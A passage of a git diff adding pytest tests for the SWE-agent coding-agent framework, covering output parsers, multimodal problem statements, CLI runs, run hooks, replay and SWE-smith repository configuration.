patch("litellm.completion", return_value=mock_response) as mock_completion: + model.query(History([{"role": "user", "content": "test"}])) + mock_completion.assert_called_once() + call_kwargs = mock_completion.call_args + extra_headers = call_kwargs.kwargs.get("extra_headers", {}) + assert extra_headers["User-Agent"] == f"swe-agent/{__version__}" + assert extra_headers["X-Custom"] == "value" diff --git a/tests/test_packaging.py b/tests/test_packaging.py new file mode 100644 index 0000000..1384685 --- /dev/null +++ b/tests/test_packaging.py @@ -0,0 +1,7 @@ +from __future__ import annotations + +from sweagent import __version__ + + +def test_version(): + assert __version__.count(".") == 2 diff --git a/tests/test_parsing.py b/tests/test_parsing.py new file mode 100644 index 0000000..c66d07a --- /dev/null +++ b/tests/test_parsing.py @@ -0,0 +1,131 @@ +from __future__ import annotations + +import pytest +from jinja2 import Template + +from sweagent.exceptions import FormatError, FunctionCallingFormatError +from sweagent.tools.commands import Command +from sweagent.tools.parsing import ( + ActionParser, + EditFormat, + FunctionCallingParser, + Identity, + JsonParser, + ThoughtActionParser, + XMLThoughtActionParser, +) + + +def test_action_parser(): + parser = ActionParser() + command = Command(name="ls", docstring="") + thought, action = parser({"message": "ls -l"}, [command]) + assert thought == "ls -l" + assert action == "ls -l" + with pytest.raises(FormatError): + parser({"message": "invalid command"}, [command]) + + +def test_thought_action_parser(): + parser = ThoughtActionParser() + model_response = "Let's look at the files in the current directory.\n```\nls -l\n```" + thought, action = parser({"message": model_response}, []) + assert thought == "Let's look at the files in the current directory.\n" + assert action == "ls -l\n" + with pytest.raises(FormatError): + parser({"message": "No code block"}, []) + + +def test_xml_thought_action_parser(): + parser = XMLThoughtActionParser() + model_response = "Let's look at the files in the current directory.\n\nls -l\n" + thought, action = parser({"message": model_response}, []) + assert thought == "Let's look at the files in the current directory." + assert action == "ls -l" + with pytest.raises(FormatError): + parser({"message": "No command tags"}, []) + + +def test_edit_format_parser(): + parser = EditFormat() + model_response = "Let's replace the contents.\n```\nimport os\nos.listdir()\n```" + thought, action = parser({"message": model_response}, []) + assert thought == "Let's replace the contents.\n" + assert action == "import os\nos.listdir()\n" + with pytest.raises(FormatError): + parser({"message": "No code block"}, []) + + +def test_identity_parser(): + parser = Identity() + model_response = "Return as is" + thought, action = parser({"message": model_response}, []) + assert thought == model_response + assert action == model_response + + +def test_json_parser(): + parser = JsonParser() + model_response = '{"thought": "List files", "command": {"name": "ls", "arguments": {"path": "."}}}' + thought, action = parser({"message": model_response}, []) + assert thought == "List files" + assert action == "ls ." + + invalid_json = "Not a JSON" + with pytest.raises(FormatError): + parser({"message": invalid_json}, []) + + missing_keys = '{"thought": "Missing command key"}' + with pytest.raises(FormatError): + parser({"message": missing_keys}, []) + + +def test_function_calling_parser(): + parser = FunctionCallingParser() + command = Command(name="ls", docstring="", arguments=[]) + + # Test successful parsing + model_response = { + "message": "Let's list the files", + "tool_calls": [{"function": {"name": "ls", "arguments": "{}"}}], + } + thought, action = parser(model_response, [command]) + assert thought == "Let's list the files" + assert action == "ls" + + # Test with missing tool_calls + with pytest.raises(FormatError): + parser({"message": "No tool calls"}, [command]) + + # Test with multiple tool calls + multiple_calls = { + "message": "Multiple calls", + "tool_calls": [ + {"function": {"name": "ls", "arguments": "{}"}}, + {"function": {"name": "cd", "arguments": "{}"}}, + ], + } + with pytest.raises(FormatError): + parser(multiple_calls, [command]) + + # Test with invalid command + invalid_command = { + "message": "Invalid command", + "tool_calls": [{"function": {"name": "invalid", "arguments": "{}"}}], + } + with pytest.raises(FormatError): + parser(invalid_command, [command]) + + # Test with invalid JSON arguments + invalid_json = { + "message": "Invalid JSON", + "tool_calls": [{"function": {"name": "ls", "arguments": "invalid json"}}], + } + with pytest.raises(FormatError): + parser(invalid_json, [command]) + + +def test_function_calling_parser_error_message(): + template = Template(FunctionCallingParser().error_message) + exc1 = FunctionCallingFormatError("test", "missing") + assert "did not use any tool calls" in template.render(**exc1.extra_info, exception_message=exc1.message) diff --git a/tests/test_problem_statement_multimodal.py b/tests/test_problem_statement_multimodal.py new file mode 100644 index 0000000..635685e --- /dev/null +++ b/tests/test_problem_statement_multimodal.py @@ -0,0 +1,128 @@ +from unittest.mock import Mock, patch + +import requests + +from sweagent.agent.problem_statement import SWEBenchMultimodalProblemStatement + + +class TestSWEBenchMultimodalProblemStatement: + example_image_url = ( + "https://upload.wikimedia.org/wikipedia/commons/thumb/4/4c/Candide1759.jpg/330px-Candide1759.jpg" + ) + + def test_initialization(self): + """Test basic initialization of multimodal problem statement.""" + problem_statement = SWEBenchMultimodalProblemStatement( + text="Test problem statement", issue_images=[self.example_image_url], id="test_id" + ) + assert problem_statement.text == "Test problem statement" + assert problem_statement.issue_images == [self.example_image_url] + assert problem_statement.id == "test_id" + assert problem_statement.type == "swe_bench_multimodal" + + def test_get_problem_statement_no_images(self): + """Test get_problem_statement when no images are present.""" + problem_statement = SWEBenchMultimodalProblemStatement(text="Test problem statement", issue_images=[]) + result = problem_statement.get_problem_statement() + assert result == "Test problem statement" + + @patch("requests.get") + def test_get_problem_statement_with_valid_image(self, mock_get): + """Test get_problem_statement with a valid image that gets processed.""" + # mock successful HTTP response + mock_response = Mock() + mock_response.raise_for_status.return_value = None + mock_response.headers = {"content-type": "image/png"} + mock_response.iter_content.return_value = [b"fake_image_data"] + mock_get.return_value = mock_response + problem_statement = SWEBenchMultimodalProblemStatement( + text="Test problem statement", issue_images=[self.example_image_url] + ) + result = problem_statement.get_problem_statement() + # should contain original text plus the base64 image + assert "Test problem statement" in result + assert f"![{self.example_image_url}](data:image/png;base64," in result + + @patch("requests.get") + def test_get_problem_statement_with_content_type_parameters(self, mock_get): + """Test that a Content-Type header with media type parameters is still accepted.""" + # servers may append parameters like charset, which is legal per RFC 9110 + mock_response = Mock() + mock_response.raise_for_status.return_value = None + mock_response.headers = {"content-type": "image/png; charset=utf-8"} + mock_response.iter_content.return_value = [b"fake_image_data"] + mock_get.return_value = mock_response + problem_statement = SWEBenchMultimodalProblemStatement( + text="Test problem statement", issue_images=[self.example_image_url] + ) + result = problem_statement.get_problem_statement() + # the parameters should be stripped before validation and encoding + assert "Test problem statement" in result + assert f"![{self.example_image_url}](data:image/png;base64," in result + + @patch("requests.get") + def test_get_problem_statement_with_network_error(self, mock_get): + """Test that network errors are handled gracefully with warnings.""" + # mock network error + mock_get.side_effect = requests.exceptions.RequestException("Network error") + problem_statement = SWEBenchMultimodalProblemStatement( + text="Test problem statement", issue_images=[self.example_image_url] + ) + result = problem_statement.get_problem_statement() + assert result == "Test problem statement" + + @patch("requests.get") + def test_get_problem_statement_with_invalid_mime_type(self, mock_get): + """Test that invalid MIME types are handled gracefully.""" + # mock response with invalid MIME type + mock_response = Mock() + mock_response.raise_for_status.return_value = None + mock_response.headers = {"content-type": "text/html"} + mock_get.return_value = mock_response + problem_statement = SWEBenchMultimodalProblemStatement( + text="Test problem statement", issue_images=["http://example.com/document.html"] + ) + result = problem_statement.get_problem_statement() + assert result == "Test problem statement" + + @patch("requests.get") + def test_caching_behavior(self, mock_get): + """Test that get_problem_statement caches results and doesn't re-download images.""" + mock_response = Mock() + mock_response.raise_for_status.return_value = None + mock_response.headers = {"content-type": "image/png"} + mock_response.iter_content.return_value = [b"fake_image_data"] + mock_get.return_value = mock_response + problem_statement = SWEBenchMultimodalProblemStatement( + text="Test problem statement", issue_images=[self.example_image_url] + ) + result1 = problem_statement.get_problem_statement() + assert mock_get.call_count == 1 + result2 = problem_statement.get_problem_statement() + assert mock_get.call_count == 1 # should still be 1, not 2, because of caching + assert result1 == result2 + assert "Test problem statement" in result1 + assert f"![{self.example_image_url}](data:image/png;base64," in result1 + + def test_invalid_url_handling(self): + """Test that invalid URLs are handled gracefully.""" + problem_statement = SWEBenchMultimodalProblemStatement( + text="Test problem statement", issue_images=["not_a_url", "ftp://invalid_scheme.com/image.png"] + ) + result = problem_statement.get_problem_statement() + assert result == "Test problem statement" + + @patch("requests.get") + def test_large_image_handling(self, mock_get): + """Test that large images are rejected.""" + mock_response = Mock() + mock_response.raise_for_status.return_value = None + mock_response.headers = {"content-type": "image/png", "content-length": "20971520"} # 20MB + mock_get.return_value = mock_response + + problem_statement = SWEBenchMultimodalProblemStatement( + text="Test problem statement", issue_images=["http://example.com/huge_image.png"] + ) + + result = problem_statement.get_problem_statement() + assert result == "Test problem statement" diff --git a/tests/test_quick_stats.py b/tests/test_quick_stats.py new file mode 100644 index 0000000..d9ad0b1 --- /dev/null +++ b/tests/test_quick_stats.py @@ -0,0 +1,42 @@ +from __future__ import annotations + +import json +import tempfile +from pathlib import Path + +from sweagent.run.quick_stats import quick_stats + + +def test_quick_stats_empty_directory(): + """Test that quick_stats handles empty directories properly.""" + with tempfile.TemporaryDirectory() as tmp_dir: + result = quick_stats(tmp_dir) + assert result == "No .traj files found." + + +def test_quick_stats_test_data(test_trajectories_path: Path): + """Test that quick_stats works on the test data directory.""" + # Create a sample .traj file with required structure + with tempfile.TemporaryDirectory() as tmp_dir: + tmp_path = Path(tmp_dir) + traj_file = tmp_path / "test.traj" + + # Create a minimal valid .traj file + traj_data = {"info": {"model_stats": {"api_calls": 42}, "exit_status": "success"}} + + traj_file.write_text(json.dumps(traj_data)) + + # Run quick_stats on the directory with our test file + result = quick_stats(tmp_path) + + # Check that the result contains our exit status + assert "## `success`" in result + + # Run quick_stats on the test_trajectories_path + result = quick_stats(test_trajectories_path) + + # The result should not be empty when run on test data + assert result != "No .traj files found." + + # The result should contain some exit status sections + assert "## `" in result diff --git a/tests/test_run.py b/tests/test_run.py new file mode 100644 index 0000000..80174a2 --- /dev/null +++ b/tests/test_run.py @@ -0,0 +1,37 @@ +from __future__ import annotations + +import subprocess + + +def test_run_cli_no_arg_error(): + args = [ + "sweagent", + ] + output = subprocess.run(args, check=False, capture_output=True) + print(output.stdout.decode()) + print(output.stderr.decode()) + assert output.returncode in [1, 2] + assert "run-batch" in output.stdout.decode() + assert "run-replay" in output.stdout.decode() + assert "run" in output.stdout.decode() + + +def test_run_cli_main_help(): + args = [ + "sweagent", + "--help", + ] + output = subprocess.run(args, check=True, capture_output=True) + assert "run-batch" in output.stdout.decode() + assert "run-replay" in output.stdout.decode() + assert "run" in output.stdout.decode() + + +def test_run_cli_subcommand_help(): + args = [ + "sweagent", + "run", + "--help", + ] + output = subprocess.run(args, check=True, capture_output=True) + assert "--config" in output.stdout.decode() diff --git a/tests/test_run_batch.py b/tests/test_run_batch.py new file mode 100644 index 0000000..d978a30 --- /dev/null +++ b/tests/test_run_batch.py @@ -0,0 +1,110 @@ +from pathlib import Path + +import pytest + +from sweagent.run.run import main + + +@pytest.mark.slow +def test_expert_instances(test_data_sources_path: Path, tmp_path: Path): + ds_path = test_data_sources_path / "expert_instances.yaml" + assert ds_path.exists() + cmd = [ + "run-batch", + "--agent.model.name", + "instant_empty_submit", + "--instances.type", + "expert_file", + "--instances.path", + str(ds_path), + "--output_dir", + str(tmp_path), + "--raise_exceptions", + "True", + ] + main(cmd) + for _id in ["simple_test_problem", "simple_test_problem_2"]: + assert (tmp_path / f"{_id}" / f"{_id}.traj").exists(), list(tmp_path.iterdir()) + + +@pytest.mark.slow +def test_simple_instances(test_data_sources_path: Path, tmp_path: Path): + ds_path = test_data_sources_path / "simple_instances.yaml" + assert ds_path.exists() + cmd = [ + "run-batch", + "--agent.model.name", + "instant_empty_submit", + "--instances.path", + str(ds_path), + "--output_dir", + str(tmp_path), + "--raise_exceptions", + "True", + ] + main(cmd) + assert (tmp_path / "simple_test_problem" / "simple_test_problem.traj").exists(), list(tmp_path.iterdir()) + + +def test_empty_instances_simple(test_data_sources_path: Path, tmp_path: Path): + ds_path = test_data_sources_path / "simple_instances.yaml" + assert ds_path.exists() + cmd = [ + "run-batch", + "--agent.model.name", + "instant_empty_submit", + "--instances.path", + str(ds_path), + "--output_dir", + str(tmp_path), + "--raise_exceptions", + "True", + "--instances.filter", + "doesnotmatch", + ] + with pytest.raises(ValueError, match="No instances to run"): + main(cmd) + + +def test_empty_instances_expert(test_data_sources_path: Path, tmp_path: Path): + ds_path = test_data_sources_path / "expert_instances.yaml" + assert ds_path.exists() + cmd = [ + "run-batch", + "--agent.model.name", + "instant_empty_submit", + "--instances.path", + str(ds_path), + "--instances.type", + "expert_file", + "--output_dir", + str(tmp_path), + "--raise_exceptions", + "True", + "--instances.filter", + "doesnotmatch", + ] + with pytest.raises(ValueError, match="No instances to run"): + main(cmd) + + +# This doesn't work because we need to retrieve environment variables from the environment +# in order to format our templates. +# def test_run_batch_swe_bench_instances(tmp_path: Path): +# cmd = [ +# "run-batch", +# "--agent.model.name", +# "instant_empty_submit", +# "--instances.subset", +# "lite", +# "--instances.split", +# "test", +# "--instances.slice", +# "0:1", +# "--output_dir", +# str(tmp_path), +# "--raise_exceptions", +# "--instances.deployment.type", +# "dummy", +# ] +# main(cmd) diff --git a/tests/test_run_hooks.py b/tests/test_run_hooks.py new file mode 100644 index 0000000..a1f25ed --- /dev/null +++ b/tests/test_run_hooks.py @@ -0,0 +1,129 @@ +import os +import threading +from concurrent.futures import ThreadPoolExecutor +from unittest.mock import MagicMock + +import pytest + +from sweagent.agent.problem_statement import GithubIssue, TextProblemStatement +from sweagent.run.hooks.apply_patch import SaveApplyPatchHook +from sweagent.run.hooks.open_pr import OpenPRConfig, OpenPRHook +from sweagent.types import AgentRunResult + + +@pytest.fixture +def open_pr_hook_init_for_sop(): + hook = OpenPRHook(config=OpenPRConfig(skip_if_commits_reference_issue=True)) + hook._token = os.environ.get("GITHUB_TOKEN", "") + hook._problem_statement = GithubIssue(github_url="https://github.com/swe-agent/test-repo/issues/1") + return hook + + +@pytest.fixture +def agent_run_result(): + return AgentRunResult( + info={ + "submission": "asdf", + "exit_status": "submitted", + }, + trajectory=[], + ) + + +def test_should_open_pr_fail_submission(open_pr_hook_init_for_sop, agent_run_result): + hook = open_pr_hook_init_for_sop + agent_run_result.info["submission"] = None + assert not hook.should_open_pr(agent_run_result) + + +def test_should_open_pr_fail_exit(open_pr_hook_init_for_sop, agent_run_result): + hook = open_pr_hook_init_for_sop + agent_run_result.info["exit_status"] = "fail" + assert not hook.should_open_pr(agent_run_result) + + +def test_should_open_pr_fail_invalid_url(open_pr_hook_init_for_sop, agent_run_result): + hook = open_pr_hook_init_for_sop + agent_run_result.info["data_path"] = "asdf" + assert not hook.should_open_pr(agent_run_result) + + +def test_should_open_pr_fail_closed(open_pr_hook_init_for_sop, agent_run_result): + hook = open_pr_hook_init_for_sop + hook._problem_statement = GithubIssue(github_url="https://github.com/swe-agent/test-repo/issues/16") + assert not hook.should_open_pr(agent_run_result) + + +def test_should_open_pr_fail_assigned(open_pr_hook_init_for_sop, agent_run_result): + hook = open_pr_hook_init_for_sop + hook._problem_statement = GithubIssue(github_url="https://github.com/swe-agent/test-repo/issues/17") + assert not hook.should_open_pr(agent_run_result) + + +def test_should_open_pr_fail_locked(open_pr_hook_init_for_sop, agent_run_result): + hook = open_pr_hook_init_for_sop + hook._problem_statement = GithubIssue(github_url="https://github.com/swe-agent/test-repo/issues/18") + assert not hook.should_open_pr(agent_run_result) + + +def test_should_open_pr_fail_has_pr(open_pr_hook_init_for_sop, agent_run_result): + hook = open_pr_hook_init_for_sop + hook._problem_statement = GithubIssue(github_url="https://github.com/swe-agent/test-repo/issues/19") + assert not hook.should_open_pr(agent_run_result) + + +def test_should_open_pr_success_has_pr_override(open_pr_hook_init_for_sop, agent_run_result): + hook = open_pr_hook_init_for_sop + hook._problem_statement = GithubIssue(github_url="https://github.com/swe-agent/test-repo/issues/19") + hook._config.skip_if_commits_reference_issue = False + assert hook.should_open_pr(agent_run_result) + + +def test_save_apply_patch_hook_concurrent_workers_save_to_correct_dirs(tmp_path): + """Regression test for #1284: concurrent workers must not overwrite each + other's per-instance state (_problem_statement, _env) in SaveApplyPatchHook. + + Before the fix, a single shared hook instance stored _problem_statement as a + plain instance attribute. When two workers both called on_instance_start() + before either finished, the second write overwrote the first, causing both + workers to save their patch into the same (wrong) output directory. + + The fix uses threading.local() so every worker thread sees its own copy. + """ + hook = SaveApplyPatchHook(show_success_message=False) + hook._output_dir = tmp_path + + # Barrier ensures both workers have called on_instance_start before either + # proceeds to on_instance_completed, making the race window deterministic. + barrier = threading.Barrier(2) + + def worker(instance_id: str, patch_content: str) -> None: + ps = TextProblemStatement(text=f"Issue for {instance_id}", id=instance_id) + env = MagicMock() + env.repo = None # skip apply_patch_locally path + + hook.on_instance_start(index=0, env=env, problem_statement=ps) + + # Hold here until both threads have written their problem_statement so + # that the race window is guaranteed to be open. + barrier.wait() + + result = AgentRunResult( + info={"submission": patch_content, "exit_status": "submitted"}, + trajectory=[], + ) + hook.on_instance_completed(result=result) + + with ThreadPoolExecutor(max_workers=2) as pool: + fa = pool.submit(worker, "instance-A", "patch A content") + fb = pool.submit(worker, "instance-B", "patch B content") + fa.result() + fb.result() + + patch_a = tmp_path / "instance-A" / "instance-A.patch" + patch_b = tmp_path / "instance-B" / "instance-B.patch" + + assert patch_a.exists(), "Patch for instance-A was not saved to its own directory" + assert patch_b.exists(), "Patch for instance-B was not saved to its own directory" + assert patch_a.read_text() == "patch A content" + assert patch_b.read_text() == "patch B content" diff --git a/tests/test_run_replay.py b/tests/test_run_replay.py new file mode 100644 index 0000000..05b5966 --- /dev/null +++ b/tests/test_run_replay.py @@ -0,0 +1,33 @@ +from __future__ import annotations + +import subprocess + +import pytest +from swerex.deployment.config import DockerDeploymentConfig + +from sweagent.run.run_replay import RunReplay, RunReplayConfig + + +@pytest.fixture +def rr_config(swe_agent_test_repo_traj, tmp_path, swe_agent_test_repo_clone): + return RunReplayConfig( + traj_path=swe_agent_test_repo_traj, + deployment=DockerDeploymentConfig(image="python:3.11"), + output_dir=tmp_path, + ) + + +def test_replay(rr_config): + rr = RunReplay.from_config(rr_config, _catch_errors=False, _require_zero_exit_code=True) + rr.main() + + +def test_run_cli_help(): + args = [ + "sweagent", + "run-replay", + "--help", + ] + output = subprocess.run(args, capture_output=True) + assert output.returncode == 0 + assert "Replay a trajectory file" in output.stdout.decode() diff --git a/tests/test_run_single.py b/tests/test_run_single.py new file mode 100644 index 0000000..46d23a5 --- /dev/null +++ b/tests/test_run_single.py @@ -0,0 +1,125 @@ +from __future__ import annotations + +from pathlib import Path + +import pytest + +from sweagent import CONFIG_DIR, TOOLS_DIR +from sweagent.agent.agents import DefaultAgentConfig +from sweagent.agent.models import InstantEmptySubmitModelConfig +from sweagent.environment.swe_env import EnvironmentConfig +from sweagent.run.common import BasicCLI +from sweagent.run.hooks.abstract import RunHook +from sweagent.run.run_single import RunSingle, RunSingleConfig +from sweagent.tools.bundle import Bundle + + +class RaisesExceptionHook(RunHook): + def on_instance_start(self, *args, **kwargs): + msg = "test exception" + raise ValueError(msg) + + +@pytest.mark.slow +def test_run_single_raises_exception(): + rsc = RunSingleConfig(agent=DefaultAgentConfig(model=InstantEmptySubmitModelConfig())) + rs = RunSingle.from_config(rsc) + rs.add_hook(RaisesExceptionHook()) + with pytest.raises(ValueError, match="test exception"): + rs.run() + + +@pytest.fixture +def agent_config_with_commands(): + ac = DefaultAgentConfig(model=InstantEmptySubmitModelConfig()) + ac.tools.bundles = [ + Bundle(path=TOOLS_DIR / "registry"), + Bundle(path=TOOLS_DIR / "windowed"), + Bundle(path=TOOLS_DIR / "submit"), + ] + ac.tools.env_variables = {"WINDOW": 100} + assert (TOOLS_DIR / "submit").exists() + # Make sure dependent properties are set + ac.tools.model_post_init(None) + return ac + + +@pytest.mark.slow +def test_hidden_tools(tmpdir): + ac = DefaultAgentConfig(model=InstantEmptySubmitModelConfig()) + ac.tools.env_variables = {"WINDOW": 100} + ac.tools.bundles = [ + Bundle(path=TOOLS_DIR / "registry"), + Bundle(path=TOOLS_DIR / "windowed", hidden_tools=["scroll_up"]), + Bundle(path=TOOLS_DIR / "submit"), + ] + ac.model.name = "instant_empty_submit" + rsc = RunSingleConfig( + env=EnvironmentConfig(), + agent=ac, + output_dir=Path(tmpdir), + ) + rs = RunSingle.from_config(rsc) + rs.run() + + +@pytest.mark.slow +def test_run_ies(tmpdir, agent_config_with_commands): + # ies = instant empty submit + ac = agent_config_with_commands + ac.model.name = "instant_empty_submit" + rsc = RunSingleConfig( + env=EnvironmentConfig(), + agent=ac, + output_dir=Path(tmpdir), + ) + rs = RunSingle.from_config(rsc) + rs.agent.tools.mock_state = {"open_file": "asdf123", "working_dir": "/root"} + rs.run() + + +@pytest.mark.slow +@pytest.mark.parametrize("repo", ["local", "github"]) +@pytest.mark.parametrize("problem_statement_source", ["github", "local", "text"]) +def test_run_ies_repo_ps_matrix( + tmpdir, + swe_agent_test_repo_clone, + repo, + problem_statement_source, +): + output_formats = ["traj", "pred", "patch"] + for fmt in output_formats: + assert not list(Path(tmpdir).glob(f"*.{fmt}")) + if problem_statement_source == "github": + ps_args = ["--problem_statement.github_url", "https://github.com/swe-agent/test-repo/issues/1"] + elif problem_statement_source == "local": + ps_args = ["--problem_statement.path", str(swe_agent_test_repo_clone / "problem_statements" / "1.md")] + elif problem_statement_source == "text": + ps_args = ["--problem_statement.text='this is a test'"] + else: + raise ValueError(problem_statement_source) + if repo == "local": + repo_args = ["--env.repo.path", str(swe_agent_test_repo_clone)] + elif repo == "github": + repo_args = ["--env.repo.github_url", "https://github.com/swe-agent/test-repo"] + else: + raise ValueError(repo) + args = [ + "--agent.model.name=instant_empty_submit", + "--output_dir", + str(tmpdir), + *ps_args, + *repo_args, + "--config", + str(CONFIG_DIR / "default_backticks.yaml"), + ] + print(args) + rs_config = BasicCLI(RunSingleConfig).get_config(args) + print(rs_config) + rs = RunSingle.from_config(rs_config) # type: ignore + with tmpdir.as_cwd(): + # Test that we can run run.py also independently from repo dir + rs.run() + for fmt in output_formats: + print(fmt, list(Path(tmpdir).iterdir())) + assert len(list(Path(tmpdir).rglob(f"*.{fmt}"))) == 1 diff --git a/tests/test_swesmith.py b/tests/test_swesmith.py new file mode 100644 index 0000000..bc0afbd --- /dev/null +++ b/tests/test_swesmith.py @@ -0,0 +1,210 @@ +from __future__ import annotations + +import json +import urllib.error +from pathlib import Path +from unittest import mock +from unittest.mock import Mock, patch + +import pytest + +from sweagent.environment.repo import SWESmithRepoConfig +from sweagent.run.batch_instances import BatchInstance, SWESmithInstances + +# ── SWESmithRepoConfig.get_reset_commands ── + + +class TestSWESmithRepoConfigGetResetCommands: + def test_no_mirror(self): + """Falls back to standard git reset commands.""" + repo = SWESmithRepoConfig(repo_name="testbed", base_commit="abc123") + cmds = repo.get_reset_commands() + assert any("git checkout" in c and "abc123" in c for c in cmds) + assert any("git fetch" in c for c in cmds) + + def test_with_mirror_and_token(self): + """Fetches from mirror URL with token embedded.""" + repo = SWESmithRepoConfig( + repo_name="testbed", + base_commit="branch-id", + mirror_url="https://github.com/org/repo.git", + ) + with mock.patch.dict("os.environ", {"GITHUB_TOKEN": "ghp_test123"}): + cmds = repo.get_reset_commands() + assert any("git fetch" in c and "ghp_test123@github.com/org/repo.git" in c for c in cmds) + assert any("git checkout FETCH_HEAD" in c for c in cmds) + assert not any(c == "git fetch" for c in cmds) + + def test_with_mirror_no_token(self): + """Mirror URL but no token — fetches with bare URL.""" + repo = SWESmithRepoConfig( + repo_name="testbed", + base_commit="branch-id", + mirror_url="https://github.com/org/repo.git", + ) + with mock.patch.dict("os.environ", {}, clear=True): + cmds = repo.get_reset_commands() + assert any("git fetch" in c and "https://github.com/org/repo.git" in c for c in cmds) + assert not any("@" in c for c in cmds if "git fetch" in c) + + +# ── SWESmithRepoConfig._get_url_with_token ── + + +class TestGetUrlWithToken: + def test_prepends_token(self): + url = SWESmithRepoConfig._get_url_with_token("https://github.com/org/repo.git", "ghp_abc") + assert url == "https://ghp_abc@github.com/org/repo.git" + + def test_empty_token(self): + url = SWESmithRepoConfig._get_url_with_token("https://github.com/org/repo.git", "") + assert url == "https://github.com/org/repo.git" + + def test_empty_url(self): + url = SWESmithRepoConfig._get_url_with_token("", "ghp_abc") + assert url == "" + + +# ── _is_repo_private ── + + +class TestIsRepoPrivate: + def setup_method(self): + from sweagent.utils.github import _repo_privacy_cache + + _repo_privacy_cache.clear() + + @patch("sweagent.utils.github.urllib.request.urlopen") + def test_public_repo(self, mock_urlopen): + mock_resp = Mock() + mock_resp.read.return_value = json.dumps({"private": False}).encode() + mock_resp.__enter__ = Mock(return_value=mock_resp) + mock_resp.__exit__ = Mock(return_value=False) + mock_urlopen.return_value = mock_resp + + from sweagent.utils.github import _is_repo_private + + assert _is_repo_private("org/repo", "fake-token") is False + + @patch("sweagent.utils.github.urllib.request.urlopen") + def test_private_repo(self, mock_urlopen): + mock_resp = Mock() + mock_resp.read.return_value = json.dumps({"private": True}).encode() + mock_resp.__enter__ = Mock(return_value=mock_resp) + mock_resp.__exit__ = Mock(return_value=False) + mock_urlopen.return_value = mock_resp + + from sweagent.utils.github import _is_repo_private + + assert _is_repo_private("org/repo", "fake-token") is True + + @patch("sweagent.utils.github.urllib.request.urlopen") + def test_404_assumes_private(self, mock_urlopen): + mock_urlopen.side_effect = urllib.error.HTTPError( + url="", + code=404, + msg="Not Found", + hdrs=None, + fp=None, # type: ignore + ) + + from sweagent.utils.github import _is_repo_private + + assert _is_repo_private("org/repo", "fake-token") is True + + @patch("sweagent.utils.github.urllib.request.urlopen") + def test_other_http_error_raises(self, mock_urlopen): + mock_urlopen.side_effect = urllib.error.HTTPError( + url="", + code=500, + msg="Server Error", + hdrs=None, + fp=None, # type: ignore + ) + + from sweagent.utils.github import _is_repo_private + + with pytest.raises(urllib.error.HTTPError): + _is_repo_private("org/repo", "fake-token") + + @patch("sweagent.utils.github.urllib.request.urlopen") + def test_caching(self, mock_urlopen): + mock_resp = Mock() + mock_resp.read.return_value = json.dumps({"private": False}).encode() + mock_resp.__enter__ = Mock(return_value=mock_resp) + mock_resp.__exit__ = Mock(return_value=False) + mock_urlopen.return_value = mock_resp + + from sweagent.utils.github import _is_repo_private + + _is_repo_private("org/cached-repo", "token") + _is_repo_private("org/cached-repo", "token") + assert mock_urlopen.call_count == 1 + + +# ── SWESmithInstances.get_instance_configs ── + + +class TestSWESmithInstancesGetInstanceConfigs: + @staticmethod + def _make_instance_file(tmp_path: Path, instances: list[dict]) -> Path: + p = tmp_path / "instances.json" + p.write_text(json.dumps(instances)) + return p + + @staticmethod + def _sample_instance(instance_id: str = "org__repo.abc123__test_1", repo: str = "org/repo") -> dict: + return { + "instance_id": instance_id, + "image_name": "swebench/swesmith.x86_64.org_1776_repo.abc123", + "repo": repo, + "problem_statement": "Fix the bug", + "FAIL_TO_PASS": ["test_foo.py::test_bar"], + } + + @patch("sweagent.run.batch_instances._is_repo_private", return_value=False) + def test_public_repo(self, mock_private, tmp_path): + path = self._make_instance_file(tmp_path, [self._sample_instance()]) + config = SWESmithInstances(path=path) + instances = config.get_instance_configs() + + assert len(instances) == 1 + inst = instances[0] + assert isinstance(inst, BatchInstance) + assert inst.env.repo.repo_name == "testbed" + assert inst.env.repo.mirror_url == "" + assert inst.env.deployment.image == "swebench/swesmith.x86_64.org_1776_repo.abc123" + + @patch("sweagent.run.batch_instances._is_repo_private", return_value=True) + def test_private_repo(self, mock_private, tmp_path): + path = self._make_instance_file(tmp_path, [self._sample_instance()]) + config = SWESmithInstances(path=path) + + with mock.patch.dict("os.environ", {"GITHUB_TOKEN": "ghp_fake"}): + instances = config.get_instance_configs() + + assert len(instances) == 1 + inst = instances[0] + assert inst.env.repo.mirror_url == "https://github.com/org/repo.git" + + @patch("sweagent.run.batch_instances._is_repo_private", return_value=True) + def test_private_repo_no_token_raises(self, mock_private, tmp_path): + path = self._make_instance_file(tmp_path, [self._sample_instance()]) + config = SWESmithInstances(path=path) + + with mock.patch.dict("os.environ", {}, clear=True): + with pytest.raises(ValueError, match="GITHUB_TOKEN is not set"): + config.get_instance_configs() + + @patch("sweagent.run.batch_instances._is_repo_private", return_value=False) + def test_filter_and_slice(self, mock_private, tmp_path): + instances_data = [ + self._sample_instance(instance_id="org__repo.abc__test_1"), + self._sample_instance(instance_id="org__repo.abc__test_2"), + self._sample_instance(instance_id="org__repo.abc__test_3"), + ] + path = self._make_instance_file(tmp_path, instances_data) + config = SWESmithInstances(path=path, filter=".*test_[12]", slice="0:1") + instances = config.get_instance_configs() + + assert len(instances) == 1 diff --git a/tests/test_tools_command_parsing.py b/tests/test_tools_command_parsing.py new file mode 100644 index 0000000..139cdaa --- /dev/null +++ b/tests/test_tools_command_parsing.py @@ -0,0 +1,193 @@ +import pytest + +from sweagent.tools.commands import Argument, Command + + +def test_command_parsing_formats(): + """Test various signature formats and default parsing.""" + # Default format (no signature) + command = Command( + name="test_cmd", + docstring="A test command", + arguments=[ + Argument(name="arg1", type="string", description="First argument", required=True), + Argument(name="arg2", type="integer", description="Second argument", required=False), + ], + ) + assert command.invoke_format == "test_cmd {arg1} {arg2} " + + # Angle brackets + command = Command( + name="goto", + signature="goto ", + docstring="moves the window to show line_number", + arguments=[Argument(name="line_number", type="integer", description="line number", required=True)], + ) + assert command.invoke_format == "goto {line_number}" + + # Optional brackets (stripped in invoke_format) + command = Command( + name="open", + signature='open "" []', + docstring="opens file at path", + arguments=[ + Argument(name="path", type="string", description="file path", required=True), + Argument(name="line_number", type="integer", description="line number", required=False), + ], + ) + assert command.invoke_format == 'open "{path}" {line_number}' + + # Flag-style arguments + command = Command( + name="grep", + signature="grep --pattern --file ", + docstring="search for pattern in file", + arguments=[ + Argument(name="pattern", type="string", description="search pattern", required=True), + Argument(name="file", type="string", description="file to search", required=True), + ], + ) + assert command.invoke_format == "grep --pattern {pattern} --file {file}" + + # No arguments + command = Command(name="scroll_up", signature="scroll_up", docstring="scrolls up", arguments=[]) + assert command.invoke_format == "scroll_up" + + +def 